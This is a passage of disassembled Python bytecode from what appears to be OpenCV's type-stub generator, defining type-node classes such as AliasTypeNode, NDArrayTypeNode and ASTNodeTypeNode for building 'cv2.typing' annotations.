LOAD_NAME Optional LOAD_NAME str BINARY_SUBSCR LOAD_CONST ('ctype_name', 'items', 'export_name', 'doc') BUILD_CONST_KEY_MAP LOAD_CONST <code object union_ at 0x7f8e2fe58660, file "f.py", line 343> LOAD_CONST 'AliasTypeNode.union_' MAKE_FUNCTION CALL_FUNCTION STORE_NAME union_ LOAD_NAME classmethod LOAD_CONST (None, None) LOAD_NAME str LOAD_NAME TypeNode LOAD_NAME Optional LOAD_NAME str BINARY_SUBSCR LOAD_NAME Optional LOAD_NAME str BINARY_SUBSCR LOAD_CONST ('ctype_name', 'item', 'export_name', 'doc') BUILD_CONST_KEY_MAP LOAD_CONST <code object optional_ at 0x7f8e2fe58ae0, file "f.py", line 353> LOAD_CONST 'AliasTypeNode.optional_' MAKE_FUNCTION CALL_FUNCTION STORE_NAME optional_ LOAD_NAME classmethod LOAD_CONST (None, None) LOAD_NAME str LOAD_NAME TypeNode LOAD_NAME Optional LOAD_NAME str BINARY_SUBSCR LOAD_NAME Optional LOAD_NAME str BINARY_SUBSCR LOAD_CONST ('ctype_name', 'item', 'export_name', 'doc') BUILD_CONST_KEY_MAP LOAD_CONST <code object sequence_ at 0x7f8e2fe589c0, file "f.py", line 363> LOAD_CONST 'AliasTypeNode.sequence_' MAKE_FUNCTION CALL_FUNCTION STORE_NAME sequence_ LOAD_NAME classmethod LOAD_CONST (None, None) LOAD_NAME str LOAD_NAME Tuple LOAD_NAME TypeNode LOAD_CONST Ellipsis BUILD_TUPLE BINARY_SUBSCR LOAD_NAME Optional LOAD_NAME str BINARY_SUBSCR LOAD_NAME Optional LOAD_NAME str BINARY_SUBSCR LOAD_CONST ('ctype_name', 'items', 'export_name', 'doc') BUILD_CONST_KEY_MAP LOAD_CONST <code object tuple_ at 0x7f8e2fe3cb70, file "f.py", line 373> LOAD_CONST 'AliasTypeNode.tuple_' MAKE_FUNCTION CALL_FUNCTION STORE_NAME tuple_ LOAD_NAME classmethod LOAD_CONST (None, None) LOAD_NAME str LOAD_NAME str LOAD_NAME Optional LOAD_NAME str BINARY_SUBSCR LOAD_NAME Optional LOAD_NAME str BINARY_SUBSCR LOAD_CONST ('ctype_name', 'class_name', 'export_name', 'doc') BUILD_CONST_KEY_MAP LOAD_CONST <code object class_ at 0x7f8e2fe3cd20, file "f.py", line 383> LOAD_CONST 'AliasTypeNode.class_' MAKE_FUNCTION CALL_FUNCTION STORE_NAME class_ LOAD_NAME classmethod LOAD_NAME NoneTypeNode LOAD_CONST 'void' CALL_FUNCTION LOAD_CONST None LOAD_CONST None BUILD_TUPLE LOAD_NAME str LOAD_NAME Union LOAD_NAME TypeNode LOAD_NAME Sequence LOAD_NAME TypeNode BINARY_SUBSCR BUILD_TUPLE BINARY_SUBSCR LOAD_NAME TypeNode LOAD_NAME Optional LOAD_NAME str BINARY_SUBSCR LOAD_NAME Optional LOAD_NAME str BINARY_SUBSCR LOAD_CONST ('ctype_name', 'arg_types', 'ret_type', 'export_name', 'doc') BUILD_CONST_KEY_MAP LOAD_CONST <code object callable_ at 0x7f8e2fe3c9c0, file "f.py", line 393> LOAD_CONST 'AliasTypeNode.callable_' MAKE_FUNCTION CALL_FUNCTION STORE_NAME callable_ LOAD_NAME classmethod LOAD_CONST (None, None, None) LOAD_NAME str LOAD_NAME str LOAD_NAME Optional LOAD_NAME str BINARY_SUBSCR LOAD_NAME Optional LOAD_NAME str BINARY_SUBSCR LOAD_NAME Optional LOAD_NAME str BINARY_SUBSCR LOAD_CONST ('ctype_name', 'alias_ctype_name', 'alias_export_name', 'export_name', 'doc') BUILD_CONST_KEY_MAP LOAD_CONST <code object ref_ at 0x7f8e2fe3c810, file "f.py", line 409> LOAD_CONST 'AliasTypeNode.ref_' MAKE_FUNCTION CALL_FUNCTION STORE_NAME ref_ LOAD_NAME classmethod LOAD_CONST (None, None) LOAD_NAME str LOAD_NAME TypeNode LOAD_NAME TypeNode LOAD_NAME Optional LOAD_NAME str BINARY_SUBSCR LOAD_NAME Optional LOAD_NAME str BINARY_SUBSCR LOAD_CONST ('ctype_name', 'key_type', 'value_type', 'export_name', 'doc') BUILD_CONST_KEY_MAP LOAD_CONST <code object dict_ at 0x7f8e2fe3c780, file "f.py", line 425> LOAD_CONST 'AliasTypeNode.dict_' MAKE_FUNCTION CALL_FUNCTION STORE_NAME dict_ LOAD_CLOSURE __class__ DUP_TOP STORE_NAME __classcell__ RETURN_VALUE LOAD_GLOBAL super CALL_FUNCTION LOAD_METHOD __init__ LOAD_FAST ctype_name CALL_METHOD POP_TOP LOAD_FAST value LOAD_FAST self STORE_ATTR value LOAD_FAST export_name LOAD_FAST self STORE_ATTR _export_name LOAD_FAST doc LOAD_FAST self STORE_ATTR doc LOAD_CONST None RETURN_VALUE LOAD_FAST self LOAD_ATTR _export_name LOAD_CONST None COMPARE_OP is not POP_JUMP_IF_FALSE LOAD_FAST self LOAD_ATTR _export_name RETURN_VALUE LOAD_FAST self LOAD_ATTR ctype_name RETURN_VALUE LOAD_CONST 'cv2.typing.' LOAD_FAST self LOAD_ATTR typename BINARY_ADD RETURN_VALUE LOAD_FAST self LOAD_ATTR value LOAD_ATTR required_usage_imports RETURN_VALUE LOAD_CONST 'import cv2.typing' YIELD_VALUE POP_TOP LOAD_CONST None RETURN_VALUE LOAD_FAST self LOAD_ATTR value LOAD_ATTR is_resolved RETURN_VALUE SETUP_EXCEPT to 18 LOAD_FAST self LOAD_ATTR value LOAD_METHOD resolve LOAD_FAST root CALL_METHOD POP_TOP POP_BLOCK JUMP_FORWARD to 74 DUP_TOP LOAD_GLOBAL TypeResolutionError COMPARE_OP exception match POP_JUMP_IF_FALSE POP_TOP STORE_FAST e POP_TOP SETUP_FINALLY to 60 LOAD_GLOBAL TypeResolutionError LOAD_CONST 'Failed to resolve alias "{}" exposed as "{}"' LOAD_METHOD format LOAD_FAST self LOAD_ATTR ctype_name LOAD_FAST self LOAD_ATTR typename CALL_METHOD CALL_FUNCTION LOAD_FAST e RAISE_VARARGS POP_BLOCK LOAD_CONST None LOAD_CONST None STORE_FAST e DELETE_FAST e END_FINALLY POP_EXCEPT JUMP_FORWARD to 74 END_FINALLY LOAD_CONST None RETURN_VALUE LOAD_FAST cls LOAD_FAST ctype_name LOAD_GLOBAL PrimitiveTypeNode LOAD_METHOD int_ CALL_METHOD LOAD_FAST export_name LOAD_FAST doc CALL_FUNCTION RETURN_VALUE LOAD_FAST cls LOAD_FAST ctype_name LOAD_GLOBAL PrimitiveTypeNode LOAD_METHOD float_ CALL_METHOD LOAD_FAST export_name LOAD_FAST doc CALL_FUNCTION RETURN_VALUE LOAD_FAST doc LOAD_CONST None COMPARE_OP is POP_JUMP_IF_FALSE LOAD_CONST 'NDArray(shape=' LOAD_FAST shape FORMAT_VALUE LOAD_CONST ', dtype=' LOAD_FAST dtype FORMAT_VALUE LOAD_CONST ')' BUILD_STRING STORE_FAST doc JUMP_FORWARD to 50 LOAD_FAST doc LOAD_CONST '. NDArray(shape=' LOAD_FAST shape FORMAT_VALUE LOAD_CONST ', dtype=' LOAD_FAST dtype FORMAT_VALUE LOAD_CONST ')' BUILD_STRING INPLACE_ADD STORE_FAST doc LOAD_FAST cls LOAD_FAST ctype_name LOAD_GLOBAL AliasRefTypeNode LOAD_FAST array_ref_name CALL_FUNCTION LOAD_FAST export_name LOAD_FAST doc CALL_FUNCTION RETURN_VALUE LOAD_FAST cls LOAD_FAST ctype_name LOAD_GLOBAL UnionTypeNode LOAD_FAST ctype_name LOAD_FAST items CALL_FUNCTION LOAD_FAST export_name LOAD_FAST doc CALL_FUNCTION RETURN_VALUE LOAD_FAST cls LOAD_FAST ctype_name LOAD_GLOBAL OptionalTypeNode LOAD_FAST item CALL_FUNCTION LOAD_FAST export_name LOAD_FAST doc CALL_FUNCTION RETURN_VALUE LOAD_FAST cls LOAD_FAST ctype_name LOAD_GLOBAL SequenceTypeNode LOAD_FAST ctype_name LOAD_FAST item CALL_FUNCTION LOAD_FAST export_name LOAD_FAST doc CALL_FUNCTION RETURN_VALUE LOAD_FAST cls LOAD_FAST ctype_name LOAD_GLOBAL TupleTypeNode LOAD_FAST ctype_name LOAD_FAST items CALL_FUNCTION LOAD_FAST export_name LOAD_FAST doc CALL_FUNCTION RETURN_VALUE LOAD_FAST cls LOAD_FAST ctype_name LOAD_GLOBAL ASTNodeTypeNode LOAD_FAST class_name CALL_FUNCTION LOAD_FAST export_name LOAD_FAST doc CALL_FUNCTION RETURN_VALUE LOAD_FAST cls LOAD_FAST ctype_name LOAD_GLOBAL CallableTypeNode LOAD_FAST ctype_name LOAD_FAST arg_types LOAD_FAST ret_type CALL_FUNCTION LOAD_FAST export_name LOAD_FAST doc CALL_FUNCTION RETURN_VALUE LOAD_FAST cls LOAD_FAST ctype_name LOAD_GLOBAL AliasRefTypeNode LOAD_FAST alias_ctype_name LOAD_FAST alias_export_name CALL_FUNCTION LOAD_FAST export_name LOAD_FAST doc CALL_FUNCTION RETURN_VALUE LOAD_FAST cls LOAD_FAST ctype_name LOAD_GLOBAL DictTypeNode LOAD_FAST ctype_name LOAD_FAST key_type LOAD_FAST value_type CALL_FUNCTION LOAD_FAST export_name LOAD_FAST doc CALL_FUNCTION RETURN_VALUE LOAD_NAME __name__ STORE_NAME __module__ LOAD_CONST 'ConditionalAliasTypeNode' STORE_NAME __qualname__ LOAD_CONST 'Type node representing an alias protected by condition checked in runtime.\n For typing-related conditions, prefer using typing.TYPE_CHECKING. For a full explanation, see:\n https://github.com/opencv/opencv/pull/23927#discussion_r1256326835\n\n Example:\n ```python\n if typing.TYPE_CHECKING\n NumPyArray = numpy.ndarray[typing.Any, numpy.dtype[numpy.generic]]\n else:\n NumPyArray = numpy.ndarray\n ```\n is defined as follows:\n ```python\n\n ConditionalAliasTypeNode(\n "NumPyArray",\n \'typing.TYPE_CHECKING\',\n NDArrayTypeNode("NumPyArray"),\n NDArrayTypeNode("NumPyArray", use_numpy_generics=False),\n condition_required_imports=("import typing",)\n )\n ```\n ' STORE_NAME __doc__ LOAD_CONST (None, ()) LOAD_NAME str LOAD_NAME str LOAD_NAME TypeNode LOAD_NAME TypeNode LOAD_NAME Optional LOAD_NAME str BINARY_SUBSCR LOAD_NAME Sequence LOAD_NAME str BINARY_SUBSCR LOAD_CONST None LOAD_CONST ('ctype_name', 'condition', 'positive_branch_type', 'negative_branch_type', 'export_name', 'condition_required_imports', 'return') BUILD_CONST_KEY_MAP LOAD_CLOSURE __class__ BUILD_TUPLE LOAD_CONST <code object __init__ at 0x7f8e2fe3c6f0, file "f.py", line 464> LOAD_CONST 'ConditionalAliasTypeNode.__init__' MAKE_FUNCTION STORE_NAME __init__ LOAD_NAME property LOAD_NAME str LOAD_CONST ('return',) BUILD_CONST_KEY_MAP LOAD_CONST <code object typename at 0x7f8e2fe3c540, file "f.py", line 482> LOAD_CONST 'ConditionalAliasTypeNode.typename' MAKE_FUNCTION CALL_FUNCTION STORE_NAME typename LOAD_NAME property LOAD_NAME str LOAD_CONST ('return',) BUILD_CONST_KEY_MAP LOAD_CONST <code object full_typename at 0x7f8e2fe3c660, file "f.py", line 488> LOAD_CONST 'ConditionalAliasTypeNode.full_typename' MAKE_FUNCTION CALL_FUNCTION STORE_NAME full_typename LOAD_NAME property LOAD_NAME Generator LOAD_NAME str LOAD_CONST None LOAD_CONST None BUILD_TUPLE BINARY_SUBSCR LOAD_CONST ('return',) BUILD_CONST_KEY_MAP LOAD_CONST <code object required_definition_imports at 0x7f8e2fe3c0c0, file "f.py", line 492> LOAD_CONST 'ConditionalAliasTypeNode.required_definition_imports' MAKE_FUNCTION CALL_FUNCTION STORE_NAME required_definition_imports LOAD_NAME property LOAD_NAME Generator LOAD_NAME str LOAD_CONST None LOAD_CONST None BUILD_TUPLE BINARY_SUBSCR LOAD_CONST ('return',) BUILD_CONST_KEY_MAP LOAD_CONST <code object required_usage_imports at 0x7f8e2fe3ced0, file "f.py", line 498> LOAD_CONST 'ConditionalAliasTypeNode.required_usage_imports' MAKE_FUNCTION CALL_FUNCTION STORE_NAME required_usage_imports LOAD_NAME property LOAD_NAME bool LOAD_CONST ('return',) BUILD_CONST_KEY_MAP LOAD_CONST <code object is_resolved at 0x7f8e2fe3c150, file "f.py", line 502> LOAD_CONST 'ConditionalAliasTypeNode.is_resolved' MAKE_FUNCTION CALL_FUNCTION STORE_NAME is_resolved LOAD_NAME ASTNode LOAD_CONST ('root',) BUILD_CONST_KEY_MAP LOAD_CONST <code object resolve at 0x7f8e2fe3c5d0, file "f.py", line 509> LOAD_CONST 'ConditionalAliasTypeNode.resolve' MAKE_FUNCTION STORE_NAME resolve LOAD_NAME classmethod LOAD_CONST (None, None, None) LOAD_NAME str LOAD_NAME Optional LOAD_NAME str BINARY_SUBSCR LOAD_NAME Optional LOAD_NAME Tuple LOAD_NAME int LOAD_CONST Ellipsis BUILD_TUPLE BINARY_SUBSCR BINARY_SUBSCR LOAD_NAME Optional LOAD_NAME str BINARY_SUBSCR LOAD_CONST ('ctype_name', 'export_name', 'shape', 'dtype') BUILD_CONST_KEY_MAP LOAD_CONST <code object numpy_array_ at 0x7f8e2fe3c8a0, file "f.py", line 520> LOAD_CONST 'ConditionalAliasTypeNode.numpy_array_' MAKE_FUNCTION CALL_FUNCTION STORE_NAME numpy_array_ LOAD_CLOSURE __class__ DUP_TOP STORE_NAME __classcell__ RETURN_VALUE LOAD_GLOBAL super CALL_FUNCTION LOAD_METHOD __init__ LOAD_FAST ctype_name CALL_METHOD POP_TOP LOAD_FAST condition LOAD_FAST self STORE_ATTR condition LOAD_FAST positive_branch_type LOAD_FAST self STORE_ATTR positive_branch_type LOAD_FAST self LOAD_ATTR ctype_name LOAD_FAST self LOAD_ATTR positive_branch_type STORE_ATTR ctype_name LOAD_FAST negative_branch_type LOAD_FAST self STORE_ATTR negative_branch_type LOAD_FAST self LOAD_ATTR ctype_name LOAD_FAST self LOAD_ATTR negative_branch_type STORE_ATTR ctype_name LOAD_FAST export_name LOAD_FAST self STORE_ATTR _export_name LOAD_FAST condition_required_imports LOAD_FAST self STORE_ATTR _condition_required_imports LOAD_CONST None RETURN_VALUE LOAD_FAST self LOAD_ATTR _export_name LOAD_CONST None COMPARE_OP is not POP_JUMP_IF_FALSE LOAD_FAST self LOAD_ATTR _export_name RETURN_VALUE LOAD_FAST self LOAD_ATTR ctype_name RETURN_VALUE LOAD_CONST 'cv2.typing.' LOAD_FAST self LOAD_ATTR typename BINARY_ADD RETURN_VALUE LOAD_FAST self LOAD_ATTR positive_branch_type LOAD_ATTR required_usage_imports GET_YIELD_FROM_ITER LOAD_CONST None YIELD_FROM POP_TOP LOAD_FAST self LOAD_ATTR negative_branch_type LOAD_ATTR required_usage_imports GET_YIELD_FROM_ITER LOAD_CONST None YIELD_FROM POP_TOP LOAD_FAST self LOAD_ATTR _condition_required_imports GET_YIELD_FROM_ITER LOAD_CONST None YIELD_FROM POP_TOP LOAD_CONST None RETURN_VALUE LOAD_CONST 'import cv2.typing' YIELD_VALUE POP_TOP LOAD_CONST None RETURN_VALUE LOAD_FAST self LOAD_ATTR positive_branch_type LOAD_ATTR is_resolved JUMP_IF_FALSE_OR_POP LOAD_FAST self LOAD_ATTR negative_branch_type LOAD_ATTR is_resolved RETURN_VALUE SETUP_EXCEPT to 30 LOAD_FAST self LOAD_ATTR positive_branch_type LOAD_METHOD resolve LOAD_FAST root CALL_METHOD POP_TOP LOAD_FAST self LOAD_ATTR negative_branch_type LOAD_METHOD resolve LOAD_FAST root CALL_METHOD POP_TOP POP_BLOCK JUMP_FORWARD to 86 DUP_TOP LOAD_GLOBAL TypeResolutionError COMPARE_OP exception match POP_JUMP_IF_FALSE POP_TOP STORE_FAST e POP_TOP SETUP_FINALLY to 72 LOAD_GLOBAL TypeResolutionError LOAD_CONST 'Failed to resolve alias "{}" exposed as "{}"' LOAD_METHOD format LOAD_FAST self LOAD_ATTR ctype_name LOAD_FAST self LOAD_ATTR typename CALL_METHOD CALL_FUNCTION LOAD_FAST e RAISE_VARARGS POP_BLOCK LOAD_CONST None LOAD_CONST None STORE_FAST e DELETE_FAST e END_FINALLY POP_EXCEPT JUMP_FORWARD to 86 END_FINALLY LOAD_CONST None RETURN_VALUE LOAD_FAST cls LOAD_FAST ctype_name LOAD_CONST '_typing.TYPE_CHECKING' LOAD_GLOBAL NDArrayTypeNode LOAD_FAST ctype_name LOAD_FAST shape LOAD_FAST dtype CALL_FUNCTION LOAD_GLOBAL NDArrayTypeNode LOAD_FAST ctype_name LOAD_FAST shape LOAD_FAST dtype LOAD_CONST False LOAD_CONST ('use_numpy_generics',) CALL_FUNCTION LOAD_CONST ('import typing as _typing',) LOAD_CONST ('condition_required_imports',) CALL_FUNCTION RETURN_VALUE LOAD_NAME __name__ STORE_NAME __module__ LOAD_CONST 'NDArrayTypeNode' STORE_NAME __qualname__ LOAD_CONST 'Type node representing NumPy ndarray.' STORE_NAME __doc__ LOAD_CONST (None, None, True) LOAD_NAME str LOAD_NAME Optional LOAD_NAME Tuple LOAD_NAME int LOAD_CONST Ellipsis BUILD_TUPLE BINARY_SUBSCR BINARY_SUBSCR LOAD_NAME Optional LOAD_NAME str BINARY_SUBSCR LOAD_NAME bool LOAD_CONST None LOAD_CONST ('ctype_name', 'shape', 'dtype', 'use_numpy_generics', 'return') BUILD_CONST_KEY_MAP LOAD_CLOSURE __class__ BUILD_TUPLE LOAD_CONST <code object __init__ at 0x7f8e2fe3ce40, file "f.py", line 541> LOAD_CONST 'NDArrayTypeNode.__init__' MAKE_FUNCTION STORE_NAME __init__ LOAD_NAME property LOAD_NAME str LOAD_CONST ('return',) BUILD_CONST_KEY_MAP LOAD_CONST <code object typename at 0x7f8e2fe3cdb0, file "f.py", line 553> LOAD_CONST 'NDArrayTypeNode.typename' MAKE_FUNCTION CALL_FUNCTION STORE_NAME typename LOAD_NAME property LOAD_NAME Generator LOAD_NAME str LOAD_CONST None LOAD_CONST None BUILD_TUPLE BINARY_SUBSCR LOAD_CONST ('return',) BUILD_CONST_KEY_MAP LOAD_CONST <code object required_usage_imports at 0x7f8e2fe3cc90, file "f.py", line 560> LOAD_CONST 'NDArrayTypeNode.required_usage_imports' MAKE_FUNCTION CALL_FUNCTION STORE_NAME required_usage_imports LOAD_CLOSURE __class__ DUP_TOP STORE_NAME __classcell__ RETURN_VALUE LOAD_GLOBAL super CALL_FUNCTION LOAD_METHOD __init__ LOAD_FAST ctype_name CALL_METHOD POP_TOP LOAD_FAST shape LOAD_FAST self STORE_ATTR shape LOAD_FAST dtype LOAD_FAST self STORE_ATTR dtype LOAD_FAST use_numpy_generics LOAD_FAST self STORE_ATTR _use_numpy_generics LOAD_CONST None RETURN_VALUE LOAD_FAST self LOAD_ATTR _use_numpy_generics POP_JUMP_IF_FALSE LOAD_FAST self LOAD_ATTR dtype LOAD_CONST None COMPARE_OP is not POP_JUMP_IF_FALSE LOAD_FAST self LOAD_ATTR dtype JUMP_FORWARD to 24 LOAD_CONST 'numpy.generic' STORE_FAST dtype LOAD_CONST 'numpy.ndarray[_typing.Any, numpy.dtype[' LOAD_FAST dtype FORMAT_VALUE LOAD_CONST ']]' BUILD_STRING RETURN_VALUE LOAD_CONST 'numpy.ndarray' RETURN_VALUE LOAD_CONST 'import numpy' YIELD_VALUE POP_TOP LOAD_CONST 'import typing as _typing' YIELD_VALUE POP_TOP LOAD_CONST None RETURN_VALUE LOAD_NAME __name__ STORE_NAME __module__ LOAD_CONST 'ASTNodeTypeNode' STORE_NAME __qualname__ LOAD_CONST 'Type node representing a lazy ASTNode corresponding to type of\n function argument or its return type or type of class property.\n Introduced laziness nature resolves the types visibility issue - all types\n should be known during function declaration to select an appropriate node\n from the AST. Such knowledge leads to evaluation of all preprocessor\n directives (`#include` particularly) for each processed header and might be\n too expensive and error prone.\n ' STORE_NAME __doc__ LOAD_CONST (None, None) LOAD_NAME str LOAD_NAME Optional LOAD_NAME str BINARY_SUBSCR LOAD_NAME Optional LOAD_NAME str BINARY_SUBSCR LOAD_CONST None LOAD_CONST ('ctype_name', 'typename', 'module_name', 'return') BUILD_CONST_KEY_MAP LOAD_CLOSURE __class__ BUILD_TUPLE LOAD_CONST <code object __init__ at 0x7f8e2fe3ca50, file "f.py", line 576> LOAD_CONST 'ASTNodeTypeNode.__init__' MAKE_FUNCTION STORE_NAME __init__ LOAD_NAME property LOAD_CONST <code object ast_node at 0x7f8e2fe3c1e0, file "f.py", line 587> LOAD_CONST 'ASTNodeTypeNode.ast_node' MAKE_FUNCTION CALL_FUNCTION STORE_NAME ast_node LOAD_NAME property LOAD_NAME str LOAD_CONST ('return',) BUILD_CONST_KEY_MAP LOAD_CONST <code object typename at 0x7f8e2fe149c0, file "f.py", line 591> LOAD_CONST 'ASTNodeTypeNode.typename' MAKE_FUNCTION CALL_FUNCTION STORE_NAME typename LOAD_NAME property LOAD_NAME str LOAD_CONST ('return',) BUILD_CONST_KEY_MAP LOAD_CONST <code object full_typename at 0x7f8e2fe14150, file "f.py", line 604> LOAD_CONST 'ASTNodeTypeNode.full_typename' MAKE_FUNCTION CALL_FUNCTION STORE_NAME full_typename LOAD_NAME property LOAD_NAME Generator LOAD_NAME str LOAD_CONST None LOAD_CONST None BUILD_TUPLE BINARY_SUBSCR LOAD_CONST ('return',) BUILD_CONST_KEY_MAP LOAD_CONST <code object required_usage_imports at 0x7f8e2fe148a0, file "f.py", line 619> LOAD_CONST 'ASTNodeTypeNode.required_usage_imports' MAKE_FUNCTION CALL_FUNCTION STORE_NAME required_usage_imports LOAD_NAME property LOAD_NAME bool LOAD_CONST ('return',) BUILD_CONST_KEY_MAP LOAD_CONST <code object is_resolved at 0x7f8e2fe141e0, file "f.py", line 635> LOAD_CONST 'ASTNodeTypeNode.is_resolved' MAKE_FUNCTION CALL_FUNCTION STORE_NAME is_resolved LOAD_NAME ASTNode LOAD_CONST ('root',) BUILD_CONST_KEY_MAP LOAD_CONST <code object resolve at 0x7f8e2fe14c90, file "f.py", line 639> LOAD_CONST 'ASTNodeTypeNode.resolve' MAKE_FUNCTION STORE_NAME resolve LOAD_NAME str LOAD_NAME str LOAD_CONST ('module', 'return') BUILD_CONST_KEY_MAP LOAD_CONST <code object relative_typename at 0x7f8e2fe14f60, file "f.py", line 652> LOAD_CONST 'ASTNodeTypeNode.relative_typename' MAKE_FUNCTION STORE_NAME relative_typename LOAD_CLOSURE __class__ DUP_TOP STORE_NAME __classcell__ RETURN_VALUE LOAD_GLOBAL super CALL_FUNCTION LOAD_METHOD __init__ LOAD_FAST ctype_name CALL_METHOD POP_TOP LOAD_FAST typename LOAD_CONST None COMPARE_OP is not POP_JUMP_IF_FALSE LOAD_FAST typename JUMP_FORWARD to 26 LOAD_FAST ctype_name LOAD_FAST self STORE_ATTR _typename LOAD_FAST module_name LOAD_FAST self STORE_ATTR _module_name LOAD_CONST None LOAD_FAST self STORE_ATTR _ast_node LOAD_CONST None RETURN_VALUE LOAD_FAST self LOAD_ATTR _ast_node RETURN_VALUE LOAD_FAST self LOAD_ATTR _ast_node LOAD_CONST None COMPARE_OP is POP_JUMP_IF_FALSE LOAD_FAST self LOAD_ATTR _typename RETURN_VALUE LOAD_FAST self LOAD_ATTR _ast_node LOAD_ATTR export_name STORE_FAST typename LOAD_FAST self LOAD_ATTR _ast_node LOAD_ATTR node_type LOAD_GLOBAL ASTNodeType LOAD_ATTR Enumeration COMPARE_OP is not POP_JUMP_IF_FALSE LOAD_FAST typename RETURN_VALUE LOAD_FAST self LOAD_ATTR _ast_node LOAD_ATTR parent STORE_FAST parent SETUP_LOOP to 88 LOAD_FAST parent LOAD_ATTR node_type LOAD_GLOBAL ASTNodeType LOAD_ATTR Class COMPARE_OP is POP_JUMP_IF_FALSE LOAD_FAST parent LOAD_ATTR export_name LOAD_CONST '_' BINARY_ADD LOAD_FAST typename BINARY_ADD STORE_FAST typename LOAD_FAST parent LOAD_ATTR parent STORE_FAST parent JUMP_ABSOLUTE POP_BLOCK LOAD_FAST typename RETURN_VALUE LOAD_FAST self LOAD_ATTR _ast_node LOAD_CONST None COMPARE_OP is not POP_JUMP_IF_FALSE LOAD_FAST self LOAD_ATTR _ast_node LOAD_ATTR node_type LOAD_GLOBAL ASTNodeType LOAD_ATTR Enumeration COMPARE_OP is not POP_JUMP_IF_FALSE LOAD_FAST self LOAD_ATTR _ast_node LOAD_ATTR full_export_name RETURN_VALUE LOAD_FAST self LOAD_ATTR _ast_node LOAD_ATTR export_name STORE_FAST typename LOAD_FAST self LOAD_ATTR _ast_node LOAD_ATTR parent STORE_FAST parent SETUP_LOOP to 86 LOAD_FAST parent LOAD_ATTR node_type LOAD_GLOBAL ASTNodeType LOAD_ATTR Class COMPARE_OP is POP_JUMP_IF_FALSE LOAD_FAST parent LOAD_ATTR export_name LOAD_CONST '_' BINARY_ADD LOAD_FAST typename BINARY_ADD STORE_FAST typename LOAD_FAST parent LOAD_ATTR parent STORE_FAST parent JUMP_ABSOLUTE POP_BLOCK LOAD_FAST parent LOAD_ATTR full_export_name LOAD_CONST '.' BINARY_ADD LOAD_FAST typename BINARY_ADD RETURN_VALUE LOAD_FAST self LOAD_ATTR _module_name LOAD_CONST None COMPARE_OP is not POP_JUMP_IF_FALSE LOAD_FAST self LOAD_ATTR _module_name LOAD_CONST '.' BINARY_ADD LOAD_FAST self LOAD_ATTR _typename BINARY_ADD RETURN_VALUE LOAD_FAST self LOAD_ATTR _typename RETURN_VALUE LOAD_FAST self LOAD_ATTR _module_name LOAD_CONST None COMPARE_OP is POP_JUMP_IF_FALSE LOAD_FAST self LOAD_ATTR _ast_node LOAD_CONST None COMPARE_OP is not POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError LOAD_CONST "Can't find a module for class '{}' exported as '{}'" LOAD_METHOD format LOAD_FAST self LOAD_ATTR ctype_name LOAD_FAST self LOAD_ATTR typename CALL_METHOD CALL_FUNCTION RAISE_VARARGS LOAD_FAST self LOAD_ATTR _ast_node LOAD_ATTR parent STORE_FAST module SETUP_LOOP to 72 LOAD_FAST module LOAD_ATTR node_type LOAD_GLOBAL ASTNodeType LOAD_ATTR Namespace COMPARE_OP is not POP_JUMP_IF_FALSE LOAD_FAST module LOAD_ATTR parent STORE_FAST module JUMP_ABSOLUTE POP_BLOCK LOAD_CONST 'import ' LOAD_FAST module LOAD_ATTR full_export_name BINARY_ADD YIELD_VALUE POP_TOP JUMP_FORWARD to 98 LOAD_CONST 'import ' LOAD_FAST self LOAD_ATTR _module_name BINARY_ADD YIELD_VALUE POP_TOP LOAD_CONST None RETURN_VALUE LOAD_FAST self LOAD_ATTR _ast_node LOAD_CONST None COMPARE_OP is not JUMP_IF_TRUE_OR_POP LOAD_FAST self LOAD_ATTR _module_name LOAD_CONST None COMPARE_OP is not RETURN_VALUE LOAD_FAST self LOAD_ATTR is_resolved POP_JUMP_IF_FALSE LOAD_CONST None RETURN_VALUE LOAD_GLOBAL _resolve_symbol LOAD_FAST root LOAD_FAST self LOAD_ATTR typename CALL_FUNCTION STORE_FAST node LOAD_FAST node LOAD_CONST None COMPARE_OP is POP_JUMP_IF_FALSE LOAD_GLOBAL TypeResolutionError LOAD_CONST 'Failed to resolve "{}" exposed as "{}"' LOAD_METHOD format LOAD_FAST self LOAD_ATTR ctype_name LOAD_FAST self LOAD_ATTR typename CALL_METHOD CALL_FUNCTION RAISE_VARARGS LOAD_GLOBAL weakref LOAD_METHOD proxy LOAD_FAST node CALL_METHOD LOAD_FAST self STORE_ATTR _ast_node LOAD_CONST None RETURN_VALUE LOAD_FAST self LOAD_ATTR _ast_node LOAD_CONST None COMPARE_OP is not POP_JUMP_IF_TRUE LOAD_FAST self LOAD_ATTR _module_name LOAD_CONST None COMPARE_OP is not POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError LOAD_CONST "'{}' exported as '{}' is not resolved yet" LOAD_METHOD format LOAD_FAST self LOAD_ATTR ctype_name LOAD_FAST self LOAD_ATTR typename CALL_METHOD CALL_FUNCTION RAISE_VARARGS LOAD_FAST self LOAD_ATTR _module_name LOAD_CONST None COMPARE_OP is POP_JUMP_IF_FALSE LOAD_FAST self LOAD_ATTR _ast_node LOAD_ATTR parent STORE_FAST type_module SETUP_LOOP to 82 LOAD_FAST type_module LOAD_ATTR node_type LOAD_GLOBAL ASTNodeType LOAD_ATTR Namespace COMPARE_OP is not POP_JUMP_IF_FALSE LOAD_FAST type_module LOAD_ATTR parent STORE_FAST type_module JUMP_ABSOLUTE POP_BLOCK LOAD_FAST type_module LOAD_ATTR full_export_name STORE_FAST module_name JUMP_FORWARD to 96 LOAD_FAST self LOAD_ATTR _module_name STORE_FAST module_name LOAD_FAST module_name LOAD_FAST module COMPARE_OP != POP_JUMP_IF_FALSE LOAD_FAST self LOAD_ATTR full_typename RETURN_VALUE LOAD_FAST self LOAD_ATTR full_typename LOAD_GLOBAL len LOAD_FAST module_name CALL_FUNCTION LOAD_CONST 1 BINARY_ADD LOAD_CONST None BUILD_SLICE BINARY_SUBSCR RETURN_VALUE LOAD_NAME __name__ STORE_NAME __module__ LOAD_CONST 'AggregatedTypeNode' STORE_NAME __qualname__ LOAD_CONST 'Base type node for type nodes representing an aggregation of another\n type nodes e.g. tuple, sequence or callable.' STORE_NAME __doc__ LOAD_NAME str LOAD_NAME Sequence LOAD_NAME TypeNode BINARY_SUBSCR LOAD_CONST None LOAD_CONST ('ctype_name', 'items', 'return') BUILD_CONST_KEY_MAP LOAD_CLOSURE __class__ BUILD_TUPLE LOAD_CONST <code object __init__ at 0x7f8e2fe14d20, file "f.py", line 674> LOAD_CONST 'AggregatedTypeNode.__init__' MAKE_FUNCTION STORE_NAME __init__ LOAD_NAME property LOAD_NAME bool 